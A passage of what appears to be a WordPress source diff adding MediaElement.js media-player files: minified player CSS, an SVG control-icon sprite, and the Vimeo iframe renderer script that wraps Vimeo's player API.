+.mejs__offscreen{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal}.mejs__container{background:#000;font-family:Helvetica,Arial,serif;position:relative;text-align:left;text-indent:0;vertical-align:top}.mejs__container,.mejs__container *{box-sizing:border-box}.mejs__container video::-webkit-media-controls,.mejs__container video::-webkit-media-controls-panel,.mejs__container video::-webkit-media-controls-panel-container,.mejs__container video::-webkit-media-controls-start-playback-button{-webkit-appearance:none;display:none!important}.mejs__fill-container,.mejs__fill-container .mejs__container{height:100%;width:100%}.mejs__fill-container{background:transparent;margin:0 auto;overflow:hidden;position:relative}.mejs__container:focus{outline:none}.mejs__iframe-overlay{height:100%;position:absolute;width:100%}.mejs__embed,.mejs__embed body{background:#000;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.mejs__fullscreen{overflow:hidden!important}.mejs__container-fullscreen{bottom:0;left:0;overflow:hidden;position:fixed;right:0;top:0;z-index:1000}.mejs__container-fullscreen .mejs__mediaelement,.mejs__container-fullscreen video{height:100%!important;width:100%!important}.mejs__background,.mejs__mediaelement{left:0;position:absolute;top:0}.mejs__mediaelement{height:100%;width:100%;z-index:0}.mejs__poster{background-position:50% 50%;background-repeat:no-repeat;background-size:cover;left:0;position:absolute;top:0;z-index:1}:root .mejs__poster-img{display:none}.mejs__poster-img{border:0;padding:0}.mejs__overlay{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;left:0;position:absolute;top:0}.mejs__layer{z-index:1}.mejs__overlay-play{cursor:pointer}.mejs__overlay-button{background:url(mejs-controls.svg) no-repeat;background-position:0 -39px;height:80px;width:80px}.mejs__overlay:hover>.mejs__overlay-button{background-position:-80px -39px}.mejs__overlay-loading{height:80px;width:80px}.mejs__overlay-loading-bg-img{-webkit-animation:a 1s linear infinite;animation:a 1s linear infinite;background:transparent url(mejs-controls.svg) -160px -40px no-repeat;display:block;height:80px;width:80px;z-index:1}@-webkit-keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.mejs__controls{bottom:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:40px;left:0;list-style-type:none;margin:0;padding:0 10px;position:absolute;width:100%;z-index:3}.mejs__controls:not([style*="display: none"]){background:rgba(255,0,0,.7);background:-webkit-linear-gradient(transparent,rgba(0,0,0,.35));background:linear-gradient(transparent,rgba(0,0,0,.35))}.mejs__button,.mejs__time,.mejs__time-rail{font-size:10px;height:40px;line-height:10px;margin:0;width:32px}.mejs__button>button{background:transparent url(mejs-controls.svg);border:0;cursor:pointer;display:block;font-size:0;height:20px;line-height:0;margin:10px 6px;overflow:hidden;padding:0;position:absolute;text-decoration:none;width:20px}.mejs__button>button:focus{outline:1px dotted #999}.mejs__container-keyboard-inactive [role=slider],.mejs__container-keyboard-inactive [role=slider]:focus,.mejs__container-keyboard-inactive a,.mejs__container-keyboard-inactive a:focus,.mejs__container-keyboard-inactive button,.mejs__container-keyboard-inactive button:focus{outline:0}.mejs__time{box-sizing:content-box;color:#fff;font-size:11px;font-weight:700;height:24px;overflow:hidden;padding:16px 6px 0;text-align:center;width:auto}.mejs__play>button{background-position:0 0}.mejs__pause>button{background-position:-20px 0}.mejs__replay>button{background-position:-160px 0}.mejs__time-rail{direction:ltr;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;height:40px;margin:0 10px;padding-top:10px;position:relative}.mejs__time-buffering,.mejs__time-current,.mejs__time-float,.mejs__time-float-corner,.mejs__time-float-current,.mejs__time-hovered,.mejs__time-loaded,.mejs__time-marker,.mejs__time-total{border-radius:2px;cursor:pointer;display:block;height:10px;position:absolute}.mejs__time-total{background:hsla(0,0%,100%,.3);margin:5px 0 0;width:100%}.mejs__time-buffering{-webkit-animation:b 2s linear infinite;animation:b 2s linear infinite;background:-webkit-linear-gradient(135deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background:linear-gradient(-45deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background-size:15px 15px;width:100%}@-webkit-keyframes b{0%{background-position:0 0}to{background-position:30px 0}}@keyframes b{0%{background-position:0 0}to{background-position:30px 0}}.mejs__time-loaded{background:hsla(0,0%,100%,.3)}.mejs__time-current,.mejs__time-handle-content{background:hsla(0,0%,100%,.9)}.mejs__time-hovered{background:hsla(0,0%,100%,.5);z-index:10}.mejs__time-hovered.negative{background:rgba(0,0,0,.2)}.mejs__time-buffering,.mejs__time-current,.mejs__time-hovered,.mejs__time-loaded{left:0;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:all .15s ease-in;transition:all .15s ease-in;width:100%}.mejs__time-buffering{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1)}.mejs__time-hovered{-webkit-transition:height .1s cubic-bezier(.44,0,1,1);transition:height .1s cubic-bezier(.44,0,1,1)}.mejs__time-hovered.no-hover{-webkit-transform:scaleX(0)!important;-ms-transform:scaleX(0)!important;transform:scaleX(0)!important}.mejs__time-handle,.mejs__time-handle-content{border:4px solid transparent;cursor:pointer;left:0;position:absolute;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);z-index:11}.mejs__time-handle-content{border:4px solid hsla(0,0%,100%,.9);border-radius:50%;height:10px;left:-7px;top:-4px;-webkit-transform:scale(0);-ms-transform:scale(0);transform:scale(0);width:10px}.mejs__time-rail .mejs__time-handle-content:active,.mejs__time-rail .mejs__time-handle-content:focus,.mejs__time-rail:hover .mejs__time-handle-content{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.mejs__time-float{background:#eee;border:1px solid #333;bottom:100%;color:#111;display:none;height:17px;margin-bottom:9px;position:absolute;text-align:center;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:36px}.mejs__time-float-current{display:block;left:0;margin:2px;text-align:center;width:30px}.mejs__time-float-corner{border:5px solid #eee;border-color:#eee transparent transparent;border-radius:0;display:block;height:0;left:50%;line-height:0;position:absolute;top:100%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:0}.mejs__long-video .mejs__time-float{margin-left:-23px;width:64px}.mejs__long-video .mejs__time-float-current{width:60px}.mejs__broadcast{color:#fff;height:10px;position:absolute;top:15px;width:100%}.mejs__fullscreen-button>button{background-position:-80px 0}.mejs__unfullscreen>button{background-position:-100px 0}.mejs__mute>button{background-position:-60px 0}.mejs__unmute>button{background-position:-40px 0}.mejs__volume-button{position:relative}.mejs__volume-button>.mejs__volume-slider{-webkit-backface-visibility:hidden;background:rgba(50,50,50,.7);border-radius:0;bottom:100%;display:none;height:115px;left:50%;margin:0;position:absolute;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:25px;z-index:1}.mejs__volume-button:hover{border-radius:0 0 4px 4px}.mejs__volume-total{background:hsla(0,0%,100%,.5);height:100px;left:50%;margin:0;position:absolute;top:8px;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:2px}.mejs__volume-current{left:0;margin:0;width:100%}.mejs__volume-current,.mejs__volume-handle{background:hsla(0,0%,100%,.9);position:absolute}.mejs__volume-handle{border-radius:1px;cursor:ns-resize;height:6px;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:16px}.mejs__horizontal-volume-slider{display:block;height:36px;position:relative;vertical-align:middle;width:56px}.mejs__horizontal-volume-total{background:rgba(50,50,50,.8);height:8px;top:16px;width:50px}.mejs__horizontal-volume-current,.mejs__horizontal-volume-total{border-radius:2px;font-size:1px;left:0;margin:0;padding:0;position:absolute}.mejs__horizontal-volume-current{background:hsla(0,0%,100%,.8);height:100%;top:0;width:100%}.mejs__horizontal-volume-handle{display:none}.mejs__captions-button,.mejs__chapters-button{position:relative}.mejs__captions-button>button{background-position:-140px 0}.mejs__chapters-button>button{background-position:-180px 0}.mejs__captions-button>.mejs__captions-selector,.mejs__chapters-button>.mejs__chapters-selector{background:rgba(50,50,50,.7);border:1px solid transparent;border-radius:0;bottom:100%;margin-right:-43px;overflow:hidden;padding:0;position:absolute;right:50%;visibility:visible;width:86px}.mejs__chapters-button>.mejs__chapters-selector{margin-right:-55px;width:110px}.mejs__captions-selector-list,.mejs__chapters-selector-list{list-style-type:none!important;margin:0;overflow:hidden;padding:0}.mejs__captions-selector-list-item,.mejs__chapters-selector-list-item{color:#fff;cursor:pointer;display:block;list-style-type:none!important;margin:0 0 6px;overflow:hidden;padding:0 10px}.mejs__captions-selector-list-item:hover,.mejs__chapters-selector-list-item:hover{background-color:#c8c8c8!important;background-color:hsla(0,0%,100%,.4)!important}.mejs__captions-selector-input,.mejs__chapters-selector-input{clear:both;float:left;left:-1000px;margin:3px 3px 0 5px;position:absolute}.mejs__captions-selector-label,.mejs__chapters-selector-label{cursor:pointer;float:left;font-size:10px;line-height:15px;padding:4px 0 0}.mejs__captions-selected,.mejs__chapters-selected{color:#21f8f8}.mejs__captions-translations{font-size:10px;margin:0 0 5px}.mejs__captions-layer{bottom:0;color:#fff;font-size:16px;left:0;line-height:20px;position:absolute;text-align:center}.mejs__captions-layer a{color:#fff;text-decoration:underline}.mejs__captions-layer[lang=ar]{font-size:20px;font-weight:400}.mejs__captions-position{bottom:15px;left:0;position:absolute;width:100%}.mejs__captions-position-hover{bottom:35px}.mejs__captions-text,.mejs__captions-text *{background:hsla(0,0%,8%,.5);box-shadow:5px 0 0 hsla(0,0%,8%,.5),-5px 0 0 hsla(0,0%,8%,.5);padding:0;white-space:pre-wrap}.mejs__container.mejs__hide-cues video::-webkit-media-text-track-container{display:none}.mejs__overlay-error{position:relative}.mejs__overlay-error>img{left:0;position:absolute;top:0;z-index:-1}.mejs__cannotplay,.mejs__cannotplay a{color:#fff;font-size:.8em}.mejs__cannotplay{position:relative}.mejs__cannotplay a,.mejs__cannotplay p{display:inline-block;padding:0 15px;width:100%}
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mejs-controls.svg
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mejs-controls.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mejs-controls.svg	(revision 56912)
@@ -0,0 +1,1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="400" height="120" viewBox="0 0 400 120"><style>.st0{fill:#FFFFFF;width:16px;height:16px} .st1{fill:none;stroke:#FFFFFF;stroke-width:1.5;stroke-linecap:round;} .st2{fill:none;stroke:#FFFFFF;stroke-width:2;stroke-linecap:round;} .st3{fill:none;stroke:#FFFFFF;} .st4{fill:#231F20;} .st5{opacity:0.75;fill:none;stroke:#FFFFFF;stroke-width:5;enable-background:new;} .st6{fill:none;stroke:#FFFFFF;stroke-width:5;} .st7{opacity:0.4;fill:#FFFFFF;enable-background:new;} .st8{opacity:0.6;fill:#FFFFFF;enable-background:new;} .st9{opacity:0.8;fill:#FFFFFF;enable-background:new;} .st10{opacity:0.9;fill:#FFFFFF;enable-background:new;} .st11{opacity:0.3;fill:#FFFFFF;enable-background:new;} .st12{opacity:0.5;fill:#FFFFFF;enable-background:new;} .st13{opacity:0.7;fill:#FFFFFF;enable-background:new;}</style><path class="st0" d="M16.5 8.5c.3.1.4.5.2.8-.1.1-.1.2-.2.2l-11.4 7c-.5.3-.8.1-.8-.5V2c0-.5.4-.8.8-.5l11.4 7z"/><path class="st0" d="M24 1h2.2c.6 0 1 .4 1 1v14c0 .6-.4 1-1 1H24c-.6 0-1-.4-1-1V2c0-.5.4-1 1-1zm9.8 0H36c.6 0 1 .4 1 1v14c0 .6-.4 1-1 1h-2.2c-.6 0-1-.4-1-1V2c0-.5.4-1 1-1z"/><path class="st0" d="M81 1.4c0-.6.4-1 1-1h5.4c.6 0 .7.3.3.7l-6 6c-.4.4-.7.3-.7-.3V1.4zm0 15.8c0 .6.4 1 1 1h5.4c.6 0 .7-.3.3-.7l-6-6c-.4-.4-.7-.3-.7.3v5.4zM98.8 1.4c0-.6-.4-1-1-1h-5.4c-.6 0-.7.3-.3.7l6 6c.4.4.7.3.7-.3V1.4zm0 15.8c0 .6-.4 1-1 1h-5.4c-.6 0-.7-.3-.3-.7l6-6c.4-.4.7-.3.7.3v5.4z"/><path class="st0" d="M112.7 5c0 .6.4 1 1 1h4.1c.6 0 .7-.3.3-.7L113.4.6c-.4-.4-.7-.3-.7.3V5zm-7.1 1c.6 0 1-.4 1-1V.9c0-.6-.3-.7-.7-.3l-4.7 4.7c-.4.4-.3.7.3.7h4.1zm1 7.1c0-.6-.4-1-1-1h-4.1c-.6 0-.7.3-.3.7l4.7 4.7c.4.4.7.3.7-.3v-4.1zm7.1-1c-.6 0-1 .4-1 1v4.1c0 .5.3.7.7.3l4.7-4.7c.4-.4.3-.7-.3-.7h-4.1z"/><path class="st0" d="M67 5.8c-.5.4-1.2.6-1.8.6H62c-.6 0-1 .4-1 1v5.7c0 .6.4 1 1 1h4.2c.3.2.5.4.8.6l3.5 2.6c.4.3.8.1.8-.4V3.5c0-.5-.4-.7-.8-.4L67 5.8z"/><path class="st1" d="M73.9 2.5s3.9-.8 3.9 7.7-3.9 7.8-3.9 7.8"/><path class="st1" d="M72.6 6.4s2.6-.4 2.6 3.8-2.6 3.9-2.6 3.9"/><path class="st0" d="M47 5.8c-.5.4-1.2.6-1.8.6H42c-.6 0-1 .4-1 1v5.7c0 .6.4 1 1 1h4.2c.3.2.5.4.8.6l3.5 2.6c.4.3.8.1.8-.4V3.5c0-.5-.4-.7-.8-.4L47 5.8z"/><path class="st2" d="M52.8 7l5.4 5.4m-5.4 0L58.2 7"/><path class="st3" d="M128.7 8.6c-6.2-4.2-6.5 7.8 0 3.9m6.5-3.9c-6.2-4.2-6.5 7.8 0 3.9"/><path class="st0" d="M122.2 3.4h15.7v13.1h-15.7V3.4zM120.8 2v15.7h18.3V2h-18.3z"/><path class="st0" d="M143.2 3h14c1.1 0 2 .9 2 2v10c0 1.1-.9 2-2 2h-14c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2z"/><path class="st4" d="M146.4 13.8c-.8 0-1.6-.4-2.1-1-1.1-1.4-1-3.4.1-4.8.5-.6 2-1.7 4.6.2l-.6.8c-1.4-1-2.6-1.1-3.3-.3-.8 1-.8 2.4-.1 3.5.7.9 1.9.8 3.4-.1l.5.9c-.7.5-1.6.7-2.5.8zm7.5 0c-.8 0-1.6-.4-2.1-1-1.1-1.4-1-3.4.1-4.8.5-.6 2-1.7 4.6.2l-.5.8c-1.4-1-2.6-1.1-3.3-.3-.8 1-.8 2.4-.1 3.5.7.9 1.9.8 3.4-.1l.5.9c-.8.5-1.7.7-2.6.8z"/><path class="st0" d="M60.3 77c.6.2.8.8.6 1.4-.1.3-.3.5-.6.6L30 96.5c-1 .6-1.7.1-1.7-1v-35c0-1.1.8-1.5 1.7-1L60.3 77z"/><path class="st5" d="M2.5 79c0-20.7 16.8-37.5 37.5-37.5S77.5 58.3 77.5 79 60.7 116.5 40 116.5 2.5 99.7 2.5 79z"/><path class="st0" d="M140.3 77c.6.2.8.8.6 1.4-.1.3-.3.5-.6.6L110 96.5c-1 .6-1.7.1-1.7-1v-35c0-1.1.8-1.5 1.7-1L140.3 77z"/><path class="st6" d="M82.5 79c0-20.7 16.8-37.5 37.5-37.5s37.5 16.8 37.5 37.5-16.8 37.5-37.5 37.5S82.5 99.7 82.5 79z"/><circle class="st0" cx="201.9" cy="47.1" r="8.1"/><circle class="st7" cx="233.9" cy="79" r="5"/><circle class="st8" cx="201.9" cy="110.9" r="6"/><circle class="st9" cx="170.1" cy="79" r="7"/><circle class="st10" cx="178.2" cy="56.3" r="7.5"/><circle class="st11" cx="226.3" cy="56.1" r="4.5"/><circle class="st12" cx="225.8" cy="102.8" r="5.5"/><circle class="st13" cx="178.2" cy="102.8" r="6.5"/><path class="st0" d="M178 9.4c0 .4-.4.7-.9.7-.1 0-.2 0-.2-.1L172 8.2c-.5-.2-.6-.6-.1-.8l6.2-3.6c.5-.3.8-.1.7.5l-.8 5.1z"/><path class="st0" d="M169.4 15.9c-1 0-2-.2-2.9-.7-2-1-3.2-3-3.2-5.2.1-3.4 2.9-6 6.3-6 2.5.1 4.8 1.7 5.6 4.1l.1-.1 2.1 1.1c-.6-4.4-4.7-7.5-9.1-6.9-3.9.6-6.9 3.9-7 7.9 0 2.9 1.7 5.6 4.3 7 1.2.6 2.5.9 3.8 1 2.6 0 5-1.2 6.6-3.3l-1.8-.9c-1.2 1.2-3 2-4.8 2z"/><path class="st0" d="M183.4 3.2c.8 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5-1.5-.7-1.5-1.5c0-.9.7-1.5 1.5-1.5zm5.1 0h8.5c.9 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5h-8.5c-.9 0-1.5-.7-1.5-1.5-.1-.9.6-1.5 1.5-1.5zm-5.1 5c.8 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5-1.5-.7-1.5-1.5c0-.9.7-1.5 1.5-1.5zm5.1 0h8.5c.9 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5h-8.5c-.9 0-1.5-.7-1.5-1.5-.1-.9.6-1.5 1.5-1.5zm-5.1 5c.8 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5-1.5-.7-1.5-1.5c0-.9.7-1.5 1.5-1.5zm5.1 0h8.5c.9 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5h-8.5c-.9 0-1.5-.7-1.5-1.5-.1-.9.6-1.5 1.5-1.5z"/></svg>
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/renderers/vimeo.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/renderers/vimeo.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/renderers/vimeo.js	(revision 56912)
@@ -0,0 +1,416 @@
+/*!
+ * MediaElement.js
+ * http://www.mediaelementjs.com/
+ *
+ * Wrapper that mimics native HTML5 MediaElement (audio and video)
+ * using a variety of technologies (pure JavaScript, Flash, iframe)
+ *
+ * Copyright 2010-2017, John Dyer (http://j.hn/)
+ * License: MIT
+ *
+ */(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
+'use strict';
+
+var VimeoApi = {
+
+	promise: null,
+
+	load: function load(settings) {
+
+		if (typeof Vimeo !== 'undefined') {
+			VimeoApi._createPlayer(settings);
+		} else {
+			VimeoApi.promise = VimeoApi.promise || mejs.Utils.loadScript('https://player.vimeo.com/api/player.js');
+			VimeoApi.promise.then(function () {
+				VimeoApi._createPlayer(settings);
+			});
+		}
+	},
+
+	_createPlayer: function _createPlayer(settings) {
+		var player = new Vimeo.Player(settings.iframe);
+		window['__ready__' + settings.id](player);
+	},
+
+	getVimeoId: function getVimeoId(url) {
+		if (url === undefined || url === null) {
+			return null;
+		}
+
+		var parts = url.split('?');
+		url = parts[0];
+		return parseInt(url.substring(url.lastIndexOf('/') + 1), 10);
+	}
+};
+
+var vimeoIframeRenderer = {
+
+	name: 'vimeo_iframe',
+	options: {
+		prefix: 'vimeo_iframe'
+	},
+
+	canPlayType: function canPlayType(type) {
+		return ~['video/vimeo', 'video/x-vimeo'].indexOf(type.toLowerCase());
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+		var apiStack = [],
+		    vimeo = {},
+		    readyState = 4;
+
+		var paused = true,
+		    volume = 1,
+		    oldVolume = volume,
+		    currentTime = 0,
+		    bufferedTime = 0,
+		    ended = false,
+		    duration = 0,
+		    vimeoPlayer = null,
+		    url = '';
+
+		vimeo.options = options;
+		vimeo.id = mediaElement.id + '_' + options.prefix;
+		vimeo.mediaElement = mediaElement;
+
+		var errorHandler = function errorHandler(error, target) {
+			var event = mejs.Utils.createEvent('error', target);
+			event.message = error.name + ': ' + error.message;
+			mediaElement.dispatchEvent(event);
+		};
+
+		var props = mejs.html5media.properties,
+		    assignGettersSetters = function assignGettersSetters(propName) {
+
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			vimeo['get' + capName] = function () {
+				if (vimeoPlayer !== null) {
+					var value = null;
+
+					switch (propName) {
+						case 'currentTime':
+							return currentTime;
+
+						case 'duration':
+							return duration;
+
+						case 'volume':
+							return volume;
+						case 'muted':
+							return volume === 0;
+						case 'paused':
+							return paused;
+						case 'ended':
+							return ended;
+
+						case 'src':
+							vimeoPlayer.getVideoUrl().then(function (_url) {
+								url = _url;
+							});
+
+							return url;
+						case 'buffered':
+							return {
+								start: function start() {
+									return 0;
+								},
+								end: function end() {
+									return bufferedTime * duration;
+								},
+								length: 1
+							};
+						case 'readyState':
+							return readyState;
+					}
+					return value;
+				} else {
+					return null;
+				}
+			};
+
+			vimeo['set' + capName] = function (value) {
+				if (vimeoPlayer !== null) {
+					switch (propName) {
+						case 'src':
+							var _url2 = typeof value === 'string' ? value : value[0].src,
+							    videoId = VimeoApi.getVimeoId(_url2);
+
+							vimeoPlayer.loadVideo(videoId).then(function () {
+								if (mediaElement.originalNode.autoplay) {
+									vimeoPlayer.play();
+								}
+							}).catch(function (error) {
+								errorHandler(error, vimeo);
+							});
+							break;
+						case 'currentTime':
+							vimeoPlayer.setCurrentTime(value).then(function () {
+								currentTime = value;
+								setTimeout(function () {
+									var event = mejs.Utils.createEvent('timeupdate', vimeo);
+									mediaElement.dispatchEvent(event);
+								}, 50);
+							}).catch(function (error) {
+								errorHandler(error, vimeo);
+							});
+							break;
+						case 'volume':
+							vimeoPlayer.setVolume(value).then(function () {
+								volume = value;
+								oldVolume = volume;
+								setTimeout(function () {
+									var event = mejs.Utils.createEvent('volumechange', vimeo);
+									mediaElement.dispatchEvent(event);
+								}, 50);
+							}).catch(function (error) {
+								errorHandler(error, vimeo);
+							});
+							break;
+						case 'loop':
+							vimeoPlayer.setLoop(value).catch(function (error) {
+								errorHandler(error, vimeo);
+							});
+							break;
+						case 'muted':
+							if (value) {
+								vimeoPlayer.setVolume(0).then(function () {
+									volume = 0;
+									setTimeout(function () {
+										var event = mejs.Utils.createEvent('volumechange', vimeo);
+										mediaElement.dispatchEvent(event);
+									}, 50);
+								}).catch(function (error) {
+									errorHandler(error, vimeo);
+								});
+							} else {
+								vimeoPlayer.setVolume(oldVolume).then(function () {
+									volume = oldVolume;
+									setTimeout(function () {
+										var event = mejs.Utils.createEvent('volumechange', vimeo);
+										mediaElement.dispatchEvent(event);
+									}, 50);
+								}).catch(function (error) {
+									errorHandler(error, vimeo);
+								});
+							}
+							break;
+						case 'readyState':
+							var event = mejs.Utils.createEvent('canplay', vimeo);
+							mediaElement.dispatchEvent(event);
+							break;
+						default:
+							
+							break;
+					}
+				} else {
+					apiStack.push({ type: 'set', propName: propName, value: value });
+				}
+			};
+		};
+
+		for (var i = 0, total = props.length; i < total; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		var methods = mejs.html5media.methods,
+		    assignMethods = function assignMethods(methodName) {
+			vimeo[methodName] = function () {
+				if (vimeoPlayer !== null) {
+					switch (methodName) {
+						case 'play':
+							paused = false;
+							return vimeoPlayer.play();
+						case 'pause':
+							paused = true;
+							return vimeoPlayer.pause();
+						case 'load':
+							return null;
+					}
+				} else {
+					apiStack.push({ type: 'call', methodName: methodName });
+				}
+			};
+		};
+
+		for (var _i = 0, _total = methods.length; _i < _total; _i++) {
+			assignMethods(methods[_i]);
+		}
+
+		window['__ready__' + vimeo.id] = function (_vimeoPlayer) {
+
+			mediaElement.vimeoPlayer = vimeoPlayer = _vimeoPlayer;
+
+			if (apiStack.length) {
+				for (var _i2 = 0, _total2 = apiStack.length; _i2 < _total2; _i2++) {
+					var stackItem = apiStack[_i2];
+
+					if (stackItem.type === 'set') {
+						var propName = stackItem.propName,
+						    capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+						vimeo['set' + capName](stackItem.value);
+					} else if (stackItem.type === 'call') {
+						vimeo[stackItem.methodName]();
+					}
+				}
+			}
+
+			if (mediaElement.originalNode.muted) {
+				vimeoPlayer.setVolume(0);
+				volume = 0;
+			}
+
+			var vimeoIframe = document.getElementById(vimeo.id);
+			var events = void 0;
+
+			events = ['mouseover', 'mouseout'];
+
+			var assignEvents = function assignEvents(e) {
+				var event = mejs.Utils.createEvent(e.type, vimeo);
+				mediaElement.dispatchEvent(event);
+			};
+
+			for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) {
+				vimeoIframe.addEventListener(events[_i3], assignEvents, false);
+			}
+
+			vimeoPlayer.on('loaded', function () {
+				vimeoPlayer.getDuration().then(function (loadProgress) {
+					duration = loadProgress;
+					if (duration > 0) {
+						bufferedTime = duration * loadProgress;
+						if (mediaElement.originalNode.autoplay) {
+							paused = false;
+							ended = false;
+							var event = mejs.Utils.createEvent('play', vimeo);
+							mediaElement.dispatchEvent(event);
+						}
+					}
+				}).catch(function (error) {
+					errorHandler(error, vimeo);
+				});
+			});
+			vimeoPlayer.on('progress', function () {
+				vimeoPlayer.getDuration().then(function (loadProgress) {
+					duration = loadProgress;
+
+					if (duration > 0) {
+						bufferedTime = duration * loadProgress;
+						if (mediaElement.originalNode.autoplay) {
+							var initEvent = mejs.Utils.createEvent('play', vimeo);
+							mediaElement.dispatchEvent(initEvent);
+
+							var playingEvent = mejs.Utils.createEvent('playing', vimeo);
+							mediaElement.dispatchEvent(playingEvent);
+						}
+					}
+
+					var event = mejs.Utils.createEvent('progress', vimeo);
+					mediaElement.dispatchEvent(event);
+				}).catch(function (error) {
+					errorHandler(error, vimeo);
+				});
+			});
+			vimeoPlayer.on('timeupdate', function () {
+				vimeoPlayer.getCurrentTime().then(function (seconds) {
+					currentTime = seconds;
+
+					var event = mejs.Utils.createEvent('timeupdate', vimeo);
+					mediaElement.dispatchEvent(event);
+				}).catch(function (error) {
+					errorHandler(error, vimeo);
+				});
+			});
+			vimeoPlayer.on('play', function () {
+				paused = false;
+				ended = false;
+				var event = mejs.Utils.createEvent('play', vimeo);
+				mediaElement.dispatchEvent(event);
+
+				var playingEvent = mejs.Utils.createEvent('playing', vimeo);
+				mediaElement.dispatchEvent(playingEvent);
+			});
+			vimeoPlayer.on('pause', function () {
+				paused = true;
+				ended = false;
+
+				var event = mejs.Utils.createEvent('pause', vimeo);
+				mediaElement.dispatchEvent(event);
+			});
+			vimeoPlayer.on('ended', function () {
+				paused = false;
+				ended = true;
+
+				var event = mejs.Utils.createEvent('ended', vimeo);
+				mediaElement.dispatchEvent(event);
+			});
+
+			events = ['rendererready', 'loadedmetadata', 'loadeddata', 'canplay'];
+
+			for (var _i4 = 0, _total4 = events.length; _i4 < _total4; _i4++) {
+				var event = mejs.Utils.createEvent(events[_i4], vimeo);
+				mediaElement.dispatchEvent(event);
+			}
+		};
+
+		var height = mediaElement.originalNode.height,
+		    width = mediaElement.originalNode.width,
+		    vimeoContainer = document.createElement('iframe'),
+		    standardUrl = 'https://player.vimeo.com/video/' + VimeoApi.getVimeoId(mediaFiles[0].src);
+
+		var queryArgs = ~mediaFiles[0].src.indexOf('?') ? '?' + mediaFiles[0].src.slice(mediaFiles[0].src.indexOf('?') + 1) : '';
+		if (queryArgs && mediaElement.originalNode.autoplay && queryArgs.indexOf('autoplay') === -1) {
+			queryArgs += '&autoplay=1';
+		}
+		if (queryArgs && mediaElement.originalNode.loop && queryArgs.indexOf('loop') === -1) {
+			queryArgs += '&loop=1';
+		}
+
+		vimeoContainer.setAttribute('id', vimeo.id);
+		vimeoContainer.setAttribute('width', width);
+		vimeoContainer.setAttribute('height', height);
+		vimeoContainer.setAttribute('frameBorder', '0');
+		vimeoContainer.setAttribute('src', '' + standardUrl + queryArgs);
+		vimeoContainer.setAttribute('webkitallowfullscreen', '');
+		vimeoContainer.setAttribute('mozallowfullscreen', '');
+		vimeoContainer.setAttribute('allowfullscreen', '');
+
+		mediaElement.originalNode.parentNode.insertBefore(vimeoContainer, mediaElement.originalNode);
+		mediaElement.originalNode.style.display = 'none';
+
+		VimeoApi.load({
+			iframe: vimeoContainer,
+			id: vimeo.id
+		});
+
+		vimeo.hide = function () {
+			vimeo.pause();
+			if (vimeoPlayer) {
+				vimeoContainer.style.display = 'none';
+			}
+		};
+		vimeo.setSize = function (width, height) {
+			vimeoContainer.setAttribute('width', width);
+			vimeoContainer.setAttribute('height', height);
+		};
+		vimeo.show = function () {
+			if (vimeoPlayer) {
+				vimeoContainer.style.display = '';
+			}
+		};
+
+		vimeo.destroy = function () {};
+
+		return vimeo;
+	}
+};
+
+mejs.Utils.typeChecks.push(function (url) {
+	return (/(\/\/player\.vimeo|vimeo\.com)/i.test(url) ? 'video/x-vimeo' : null
+	);
+});
+
